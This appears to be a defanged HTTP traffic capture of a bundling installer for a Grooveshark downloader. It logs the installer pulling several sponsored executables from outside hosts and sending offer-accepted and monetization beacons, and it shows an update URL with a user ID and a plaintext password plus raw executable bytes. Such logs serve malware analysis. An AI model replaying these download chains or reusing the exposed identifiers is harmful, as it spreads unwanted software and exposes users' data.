<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&O
S=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b8
56-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1">h
ere</a>.</h2>..</body></html>....<!DOCTYPE 
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.or
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://w
ww.w3.org/1999/xhtml" >..<head><title>...Untitled Page.
.</title></head>..<body>..    <form name="form1" 
method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&UserI
D=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&OS=10
&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4
afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&P
artnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1" id="form
1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" va
lue="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..    
<div>..    ..    </div>..    </form>..</body>.
.</html>....
<<< skipped >>>


GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:26 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 8926982
Content-Range: bytes 0-8926981/8926982
Content-Type: application/x-msdownload
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
..............................@.......................................
[email protected]...............................
......................................................................
..............CODE....0........................... ..`DATA....P.......
....................@...BSS......................................idata
[email protected]................................
[email protected]....................
[email protected][email protected].............@..
[email protected]..............................................
......................................................................
..............................................string................&l
t;[email protected].@..........)@..(@..(@..)@.....$)@..Free..0)@..InitInstance.
.L)@..CleanupInstance..h(@..ClassType..l(@..ClassName...(@..ClassNameI
s...(@..ClassParent...)@..ClassInfo...(@..InstanceSize...)@..InheritsF
rom...)@..Dispatch...)@..MethodAddress..<*@..MethodName..x*@..Field
Address...)@..DefaultHandler...(@..NewInstance...(@..FreeInstance.TObj
ect.@...@..% .@....%..@....%..@....%..@....%..@....%..@....%..@....%(.
@....%..@....%..@....%..@....%..@....%..@....%..@....%..@....%..@.
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=2&index_in_screen=1&index_in_session=2&0.061682175257459115 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:27:48 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:27:48 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /31716.ashx?e=hXeqmv1IpelLnCMxb3UlHyvLfUo0CTVi7ZTHYXaLDVh4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7PaAg1gAvNqNaoPZj94HyT6LOwEGQvh2zV2TxY7/sL 44G r 3F6T7U6q7EvjWjEUpXTEKkNwLoQKR8BH1AzvaPPinFkosvv9rREKBtez 7WKW/rKS vRXseduDqkWSFKDNqLLQ53keUHDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PI IqCibN3ldP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7ufLDfF0ZTpL1kSjubNqPc5GyEyoZvq4OmB0RNQ 9BzBNqeRPeOqgjazACGY CgK6eqXaZH4mK3kqgSNqV7u8iR3AQSpIJXB7PVUl5TLe7HbDFz5K36yx5JFIty0tWc06ippSFGWqY/tJKkOqc/t3GkiGBNwta2nDUPW0PDhfKgeQxlp6/RhiFWFeKirbRJMxjw0XDVs8QXTQXKAbkOzE8t1GR88PfCMTMW4XjMZJAFqNrMFqx eqzAA0Ab8kjlrHUIsA9895POKuzvjcaXM2AbroBcEjtCTFLBfrHFyPplkNZ6 ltSbGnfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:38 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:38 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRrE5FrKcaNErfeWZZTe8uuHMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5XooDu8/ 0Wy8rJULUDCmwArmOSgIBLqiUA7dl9owwhL1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwbarnjbleUUSx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn22SVOcSO6scWRoUV4ogQDN/6Y BmvbybVp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6mShho8CAtn6TZ0t5cJY6l3 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:37 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 15 Apr 2015 02:28:37 GMT..Content-Length: 0..



POST /more.php?initiateSession HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0
Referer: hXXp://grooveshark.com/JSQueue.swf?20130520
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/json
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Host: grooveshark.com
Content-Length: 243

{"parameters":{},"header":{"uuid":"72C9BD03-DCCA-4471-A0B5-D259C0A2BBB1","clientRevision":"20130520","client":"htmlshark","privacy":0,"country":{"CC2":"0","DMA":"0","ID":"1","CC1":"0","CC3":"0","CC4":"0","IPR":"1"}},"method":"initiateSession"}
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=9e7e8f9c34d0b9e6ad4ee1bb681c57f2; expires=Wed, 22-Apr-2015 02:29:42 GMT; Max-Age=604800; path=/; domain=.grooveshark.com; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Server: ReleaseHL3Plz
X-Hostname: rhl109
Set-Cookie: ismobile=no;domain=.grooveshark.com;path=/
Cache-Control: private, proxy-revalidate
Content-Encoding: gzip
7b..............;..0.........`..Bz....".....=)r..3...L..P........... .
...KY..r.C.....4.R..q.\\..,.q.y m..l.m*....zl./..3g,]......0..



GET /analytics.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 01:54:32 GMT
Expires: Wed, 15 Apr 2015 03:54:32 GMT
Last-Modified: Wed, 08 Apr 2015 20:30:30 GMT
X-Content-Type-Options: nosniff
Content-Type: text/javascript
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 11178
Age: 2103
Cache-Control: public, max-age=7200
Alternate-Protocol: 80:quic,p=0.5
...........}{W.....|.....'.$@/....w..m.=.].$BJHR..R.......l.2.9.}...y.
.%..t...H...(...evG....X...v...&.....8.....B..=...}.;oT(E.]e&.e.;2>
..q..W..[......2....Z.2.gIp&su...2.&.,..,.Tfdn....u...N...w.<......
T.o...3.....p@..%.p.$F..........M6..,.....O..D..D.2C.O..l...xH-.T....S
.Z*..sJN&CjfB.gS.u.]PbBM.fJc8A......L....%.$ .._....Jhs,g.....(.<..
..i.f.....<[email protected]*J.0...e=.Fg...9
..b,..../.q...I.c<..v............X..*).......4.H..u.7o.U.....hI...%
../c7TR.i..,...t{"M..t.U....z=r_iou5..Q|<.S.t.~.Kn|.kno.....h..%}3.
ZH..G..<}.....W......}w....O..|...U...~...F...l.../~].n476.........
A.Nd...h......v....A........s....!.<"/..s.LQj.R...3......>.T.j .
.Fm...Z.."...z..2..m..K..4.&..E.D..H(B........vU/[email protected] t..Q....n...
V.}.V.>.......%n,B.\.f3.....{{|L......q.....N....U8.o..||......Z(.7
.?.5t.|<.w..D...5.C....C1St........6.`.7....Hh.Q...L..#;..V...o....
/...........ZA0..bu.`{...cpFch....z.....fNN3.H..t.f.z....B...P.;....)`
.....x.z............Jh:.......O.....Ls32Y.6(L......Z...R.p....g....S..
\.#.&..q<..sq!o......"i...$.pR..@....?..t9.!..#E.......AQ1q.:XhL'{.
...L.]...}..e..F.....(...CL.$....)3!.C....k...I.O.-..{.G....\.ZX*K....
.g...b.....q...z.....sq.t....L...MhZ...wZG.G....Db.:..mC."X_.tm1..[..T
.^......7B.$.TP.A_#.........K? ...}O.>...K...P..D.G...F....{...O../
....$N%.....g.j.Z.7E..3D...n."u...6M.dE}:#..?......Y.}PI.....$....pj..
f3\BR.-T.!.....c.vj..D(..q.a`Js..g......Yq. .t'.L.c.u..u..i..j..-.o.j7
T..f.5..F.4..<....K.Spt.........GK..`%*jk...H1...c......t.=.\.8
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:19 GMT
Content-Type: application/octet-stream
Content-Length: 671328
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:19 GMT
Cache-Control: max-age=259200
Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=35695-
User-Agent: Better Installer(Mozilla)
Host: d3hm9b8fv0d908.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache



......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>


GET /updatecheck.php?p=grooveshark-downloader&v=v0.4.15 HTTP/1.1
Host: VVV.scilor.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:40 GMT
Server: Apache/2
X-Powered-By: PHP/5.5.8
Vary: User-Agent
Content-Length: 1
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html
0....


GET /updatecheck.php?p=groovefix&v=20130530 HTTP/1.1


Host: VVV.scilor.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:40 GMT
Server: Apache/2
X-Powered-By: PHP/5.5.8
Vary: User-Agent
Content-Length: 1
Content-Type: text/html
0HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:29:40 GMT..Server: Apache/
2..X-Powered-By: PHP/5.5.8..Vary: User-Agent..Content-Length: 1..Conte
nt-Type: text/html..0..



GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064960&asw=0_1082139141_-2147475456_0&browser=ff&rnd=1429064960 HTTP/1.1
Host: logs.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:32 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1429064972.dop008.fr7.t,1429064972.cds021.fr7.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 15 Apr 
2015 02:29:32 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429064972.dop008.fr7.t,1429064972.c
ds021.fr7.c..GIF89a.............,...........D..;..



GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=2231746-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:27 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 6695236
Content-Range: bytes 2231746-8926981/8926982
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
I.c.3.2g.e.../.]|U..;..x...q..1.........|34..a..e.e...j.am.q.l....1q-Q
Ik..>.LhW...LD."gJ...."..SH..Q$....`,l.g.Tj..8G.Y,..w..] ...n0.... 
*p..f..?..W...........[..&......Rp.:.DHU;.ww=..}.O.Q..o....2.....4-...
D..~...$F......v....5....A.t.M....2.-.De?q0..R9n.b...X...7..........-.
..)^[email protected]*.-\...'...... .$6........c...[.b...A5.$V'.geh.\~..p..
.9.."..0....y..;....`..T./C...V..#u..#.1..0.v1.....s..ta.:o.I..%.n...&
A...F.X....H!M.....$,.P8....\..4..Pn,'....nhf.r.r.'hY.#...'.{ul8......
.{...(.c..~....)...T.............MJD?k..]..?Ja:.. mR...^V....i.....M0H
bb..sESG&Qi./.a...-./....w.s..^1.....mdT..d..2[..e..."...V...l.>`..
G....0....`.5U.... ...p....DI... [email protected]......_K=IB.R=...j.P......
e2..jA} T. }-d.]..~kg\4....7...Bg...s.'.|$.a...L...i..]...............
}[..........d.......yi..u.....*..T..^.j.....d....-.t....b.. W.o..#.22c
.Ne.G&J.Z.Q..N...G...6X2..%..`...n...._7...8.x,v...S.....=.g..)..Ft...
..}4~.^\^....l.,...8yZ..:........wVsL.V........x..;.....$..L.Z....6u.#
..W...6n....z5E1/...I.)..=A.z...k.D..8..NxY...c.E...C._[.T4.oQ.k:h...?
~W.b...Fw......X.O.S.|.<........`....6n-..9I.!.|..u;..a.A....\.Q...
........$.>l.|.IW..F. .e.O.....J/Zo.b.?...O......i;qJ.0.....U.....M
..r..,[.G.|...]Uj".k.M%...I|U^.......h).]L.....&*v....T.@.<...>.
.d...../......i..-.0...?..t..Oie..F..f#..0....hY...k#S..x.3.$.....wP .
mO..#...KgQ..%.x.....5.4.{.s6.F#r.>.....>#....fST..{.jO!)j......
.}..xa....U....!...q]..a.....f.........F.......L#....".......]........
...v8K....kh..qs......A.1SH...w.^r..!..'=..C....([email protected].
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=4&index_in_screen=1&index_in_session=4&0.2472985872629334 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:14 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:14 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:30 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: i2wFdEyawdeZYFnFA7OgL44fJ8U fqfexDzyHER5L/7BaO02d2wQbCfM MLNBbmTfYvILalCECM=
x-amz-request-id: 8DCD496A88419911
Last-Modified: Tue, 14 Apr 2015 05:20:04 GMT
ETag: "1d3374710779765f74bfc2e8342bef88"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 750000-999999/4737291
s..fi..J.iw.?*.w..7......1e..........L.YH...J.i......N.r`.D....z.....H
..~.'.zU..1.A...bj..&.'.....M.$%7.dI>L.....`.2...".1}.^b>.......
=..[^.z.K....G..D....}<..={...-......k.?..6u.Js.....eX$.l..&g.e.r..
8V.......'.f.!.Y.pq...lBZt........aW\ %..6y,=..iO.-.I?...pP....t.}....
..H.V.M....tY.....{.z.. .....ux.c .z.-.......Ws..Y..& .$.T....g%..J..8
.%.1f...... H......"....q.7>.Se.f.p...&.E..l.b#6OEZ.;...8]ja...F.W.
af.._^.._l.U.p....O.'.N4c.I.k.j;g......B....B.9.....;..k.7jk...5^`,...
...4......&..Dj.{I...(.b.......=....fvQ\bg.D..0.?....k..6l#.."..l....&
lt;....$.......1k.2.G.)......Y...K...#.n=.8~d.z."..N..JFh..X.@w...%..V
e....Y.._.....gq}....N....W.wd.78.4. ....'..P....%.A....saYP#j..B..fp.
.5...#.Y.v-5.......w<...T4.e..U.61`(.....2...\CQ.....^..#H.0.^....@
:......x.|.j...A#......7.!....q..Z..p........11.x..G.......<.......
S..ZJ....!.)@:.../..u.x.......-....H.4.z.G6.........QND.z..W...jS.q.P.
.;..y.WV......K,@..{#?.......[..yg..l?.....!>...%.fT.....Uto.......
....r.CnT.XyU....."p.V.>...5".}.,.R..RN..}[..B...&.....?6.Q.A...5..
..L......W..[,..!....P..HJ\zIk.....9..O..A..b...%...|b.L...zYD.a..G$.;
.L.W!..Q.......z....Ov-.Ud.!&.1.K5..V........oI....r...........s..$..h
Q..[.......q.s....".c.& I=...x1....B....ua..q....`...T{..k....1..1....
..!...}4n6......T..........Ty....:.).<.?x.jb .0......4.,......!]...
\..u$..Lf..7...G..SJ.......).Yv.{.[k{W.._k.;..C.^.d......"..m......7Y.
...Uv.....~.;.....\.K.....h....`...t.&!......./.6..ZL6....P%... [..Kj0
.SP...x.ul....W..#..HTTP/1.1 206 Partial Content..Date: Wed, 15 Ap
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 5wced03drl-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:31 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: i2wFdEyawdeZYFnFA7OgL44fJ8U fqfexDzyHER5L/7BaO02d2wQbCfM MLNBbmTfYvILalCECM=
x-amz-request-id: 8DCD496A88419911
Last-Modified: Tue, 14 Apr 2015 05:20:04 GMT
ETag: "1d3374710779765f74bfc2e8342bef88"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3500000-3749999/4737291
C....5.{.......Z...B.S.....KyI'.LX....L..5......O..th.4,..G.(,..Y.....
>k.j. ...w.. s.Ci3.._.....j..1r...5.....n^../.TX....j"..Y..MEp...l.
.....^.C."........N..N.......p...5......{....4.........-.S............
@.....4H.ux.k.}......%R...5...&.B0*8@U .(..... ..<-.........*......
.6?S...Zw.. .(.s|.....I...L..=T"....}T..:.M.f.G...~<..E8./..(...qD.
.=..........76(....$M)[q.....G...~.n.......7}([X...<..K..&.........
.].H.?k.............A......{..|k..u.k5.....E........I...O%.(.YdPr.k.F.
...=.][email protected][email protected]...)).....)...$......y....M....q...1P8*EdB....
I....g.AYj....f..8...9.\............S.C.F.6G.$.J5ZQ.r..8..lv{hTA.:...O
....b........%...z...b..D.Z.I..>..y....s.7..I...g.?nd....o..U]F....
.UC/,....9.;....... .M..Z...Wz..Rr..a.*.......?..b......r..tZ...[x.{e.
..\...{._L@P "..O.eV.f.....]....i?..W..z.?...=..D...aG.@...}M.S..a{b..
..$v..A.[#q.....G.7. ......*.3_.aaS....U....E..b..M.p5...F_.\j...};Y.C
...j..k(... [email protected];.W...c... ....X..P...H..w....I...
..b..\Z.q.6bd.....49$O7}F...P....|.]0..*T..BS\.J..2.._.o..y..o..U...1.
yp......Z....G?(...p.....>%[email protected]../....y.D....Q....w
Mg.y9..G...<....._.@VwQf... ..:B.6.,E!.........$`....wc......0Z.\9.
u..X.......SY..].Q.Z......}....t*Y...zL..R.3c.F...O.8..q.t.5I..E.R ...
..B^.........K.^..v.0-..L.L.Q!.y.]M.I@...:J...a. 3...QN.'....B.D.mj..v
.....=[.........bwq(s.<......<U.i......B.....0,G..D....4...I.>
;..t....r.....m..........]......*.hW..8.n,...!7g.... ..u..~5(.....g.w.
W...@...&....H.lh.4..$&..;........ ...0...a......F..*..0......5)..
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=803956-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 482373
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 13 Apr 2015 12:59:00 GMT
Content-Range: bytes 803956-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 8d9a4b7bf28d1cf23a8b620f67d78699.cloudfront.net (CloudFront)
X-Amz-Cf-Id: c8XgBfTetlQqQTi4QoQ6EmOpgX6fJVNAIIXEl2cIffxf59Sgx_UyWA==
.P........}..X..).....h,*S...iN. ..%.-W...#..;..'dI7.K..M....'.N.?(L..
#5.....L..f..b.Y....!......JP..{O....f.. L%btTB...bo...iN..iI..Su.....
..Y}>..s"..i mh....@._U].....G.>..9.^..`...."!......i(...s.&..g.
...7.p7.Q......H..^...@i6....|.,.".5`T;r$.;....K............>UX(...
N.X..,[email protected]=..J.a...w.'.{\A>.&...*....y\.GY..&.."r..y......
....!2.^..7..cE...'[....a)..wC..2.3....6t..u..1...6x.A.............2!.
W....Y;.N........v..a..f.x{f\O'LM....../=.....s..hXKE......;~t...P.=..
...|W.7........,..wC..m_...........w.......!..{Z.b..fu.pE.T&...eP".. 5
..4\J]........5V..........L..WyS...._....b.....4..u.czY..I...1..t.G.U.
....d}.moe)..Q...6X....X..ia...1....8`.n..O....-..."./^....QDW..P.....
.w.......w.Y^..[...2/q.s/i.....N..#.....fa....P.....r..%m.m.m.B...\k..
.p.j.g8t.....7./..vG........P.m.L.....?.<g....P....#'... ..D..7|n..
..#[.3.U..}....D...=..?. e.`...;p.. i..........<..wC._.51........Q.
"Ar....&.e......W....u6"...]..I.9.6...r....m. 9n...v."...*.X."..25...6
..-0..&3.I..&y6>.{.}m/[email protected]..
..8,{'L.bv..V:...V%[email protected]........!=Z...o...'. ....\..2%_$.B{.D.H.
...._.dD.....=Q..:z...Z.}RJF.o.W(.X!...<...].7.;9R....];=....GH..Fm
....A:'} .1........)...vJ...$7.;). 1..y......"v>.bF:.-50;#....,..9.
q..........iN...4.6uJj....F ..a.d...1..re........_.\p..m.ZX..9...t.[..
.D..`y.......p.kg.4....q1......U..W.:..>...<P....r..B. C.<).~
....K9..,.y... .. 4........~.0@>.BM...$hh...:7...P}0.A*TC...N..Ch..
O.T.L..U.n..B..@{.,*n..}N..fi..~..6..}C.Hg.......p.;.ZS.W.i..0...:
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=587412-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache



{...z...{...z...u.....................................................
...!.......$...!...&...'...*... ...-...*.../.../...3...3...5...6...5..
.7...7...8...;...=...?...7...V...p.....^][............................
..............................................................j.......
...ttt.```............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............................&........................................
......................1...............................................
...................."...........................$.....................
..........#%..-...........................0%..:.......................
....?%..9...........................>%..8..........................
.=%..7...........................;[email protected]
[email protected]@..L......
.....................N2..K...........................h2..\............
...............g2..]...........................f2..[..................
.............I3') * )))*))()*   ,6J!54 CBA...jYPQTVTSkllZTTXRTUiHceWda
/..i...u....`..................._<bm....t^..}zy|yx~....{|yvrrwsqpon
..................................................................
<<< skipped >>>


